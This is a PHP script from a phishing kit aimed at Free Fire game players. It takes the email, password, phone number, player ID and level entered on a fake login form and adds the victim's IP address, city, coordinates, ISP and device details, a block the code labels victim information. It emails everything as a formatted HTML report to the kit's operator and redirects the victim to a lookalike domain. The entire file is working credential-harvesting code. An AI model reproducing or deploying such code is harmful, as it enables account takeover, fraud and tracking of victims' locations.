<?php
include 'FGNcode/location.php';
include 'FGNcode/device.php';

$email = $_POST['email'];
$password = $_POST['password'];
$phone = $_POST['phone'];
$playid = $_POST['playid'];
$level = $_POST['level'];
$login = $_POST['login'];

$platform = $infos['platfrm_name'];
$osversi = $infos['platfrm_vers'];
$browser = $infos['browser_name'];

$file_lines = file('FGNcode/checkLogin.txt');
	foreach ($file_lines as $file => $value) {
		$data = explode("|", $value);
		if (in_array($email, $data)) {
			session_start();
			$_SESSION['nick'] = $email;
			header('location: https://offiiciallweb.com/FF');
		} else {
			$myfile = fopen("FGNcode/checkLogin.txt", "a") or die("Unable to open file!");
			$txt = $email;
			if(fwrite($myfile, "|". $txt)) {

// MENGALIHKAN KE HALAMAN UTAMA JIKA DATA BELUM DI-INPUT
if($email == "" && $password == "" && $dialcode == "" && $playid == "" && $phone == "" && $level == "" && $login == ""){
header("Location: index.php");
}else{

$subjek = "$callcode $flags | FF Level [$level] | Login $login | $email";
$pesan = <<<EOD
<!DOCTYPE HTML>
<html>
<head>
  <title></title>
  <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=no"/>
  <style type="text/css">
    * {
      box-sizing: border-box;
    }
    body {
      font-family: 'Open Sans', sans-serif;
      font-weight: bold;
      margin: 0;
      padding: 0;
      background: #f9f9f9;
      display: flex;
      justify-content: center;
      align-items: center;
      min-height: 100vh;
    }
    .result {
      max-width: 600px;
      width: 90%;
      margin: 20px auto;
      padding: 15px;
      background: #fff;
      border-radius: 10px;
      box-shadow: 0 0 10px rgba(0,0,0,0.1);
    }
    .text {
      background: #5a9ccc;
      color: #fff;
      padding: 10px;
      text-align: center;
      border-radius: 5px;
      margin-bottom: 15px;
      font-size: 16px;
    }
    .tableRes {
      width: 100%;
      border-collapse: collapse;
      margin-bottom: 15px;
      border: 2px solid #b8e4ff;
      border-radius: 8px;
      overflow: hidden;
    }
    .tableRes th, .tableRes td {
      padding: 10px;
      background: #5a9ccc;
      color: #fff;
      border: 1px solid #b8e4ff;
    }
    .tableRes th:nth-child(1) {
      width: 35%;
      text-align: left;
    }
    .tableRes td:nth-child(2) {
      width: 65%;
      text-align: center;
    }
    .fgnfooter {
      background: #5a9ccc;
      color: #fff;
      text-align: center;
      padding: 10px;
      border-radius: 5px;
      margin-top: 10px;
    }
    .fgnbtn {
      display: inline-block;
      margin-top: 5px;
      padding: 8px 12px;
      background: #e07070;
      color: #fff;
      text-decoration: none;
      border-radius: 8px;
      font-size: 14px;
      border: 2px solid #fff;
    }
    @media (max-width: 480px) {
      .text, .fgnfooter {
        font-size: 14px;
      }
      .tableRes th, .tableRes td {
        font-size: 13px;
        padding: 6px 8px;
      }
    }
  </style>
</head>
<body>
    <div class="text">Informasi Login</div>
    <table class="tableRes">
      <tr>
        <th>Email/Nomor</th>
        <td>$email</td>
      </tr>
      <tr>
        <th>Password</th>
        <td>$password</td>
      </tr>
      <tr>
        <th>Login Via</th>
        <td>$login</td>
      </tr>
      <tr>
        <th>Player ID</th>
        <td>$playid</td>
      </tr>
      <tr>
        <th>Level</th>
        <td>$level</td>
      </tr>
      <tr>
        <th>No HP</th>
        <td>$phone</td>
      </tr>
    </table>
    <div class="text">Informasi Device</div>
    <table class="tableRes">
      <tr>
        <th>Platform</th>
        <td>$platform</td>
      </tr>
      <tr>
        <th>OS</th>
        <td>$osversi</td>
      </tr>
      <tr>
        <th>Browser</th>
        <td>$browser</td>
      </tr>
    </table>
    <div class="text">Informasi Korban</div>
    <table class="tableRes">
      <tr>
        <th>IP Address</th>
        <td>$ipaddress</td>
      </tr>
      <tr>
        <th>Negara</th>
        <td>$negara</td>
      </tr>
      <tr>
        <th>Wilayah</th>
        <td>$region</td>
      </tr>
      <tr>
        <th>Kota</th>
        <td>$city</td>
      </tr>
      <tr>
        <th>Latitude</th>
        <td>$latitude</td>
      </tr>
      <tr>
        <th>Longitude</th>
        <td>$longtitude</td>
      </tr>
      <tr>
        <th>ISP</th>
        <td>$perdana</td>
      </tr>
      <tr>
        <th>AS Number</th>
        <td>$asn</td>
      </tr>
      <tr>
        <th>Zona Waktu</th>
        <td>$timezone</td>
      </tr>
    </table>
    <div class="fgnfooter">
      <a class="fgnbtn" href="https://wa.me/mess">Arya ThiQo</a>
    </div>
  </div>
</body>
</html>
EOD;
include 'email.php';
$headers  = 'MIME-Version: 1.0' . "\r\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$headers .= 'From: '.$sender.' <admin@aryathiqoo>' . "\r\n";
$kirim = mail($emails, $subjek, $pesan, $headers);
}}}}
?>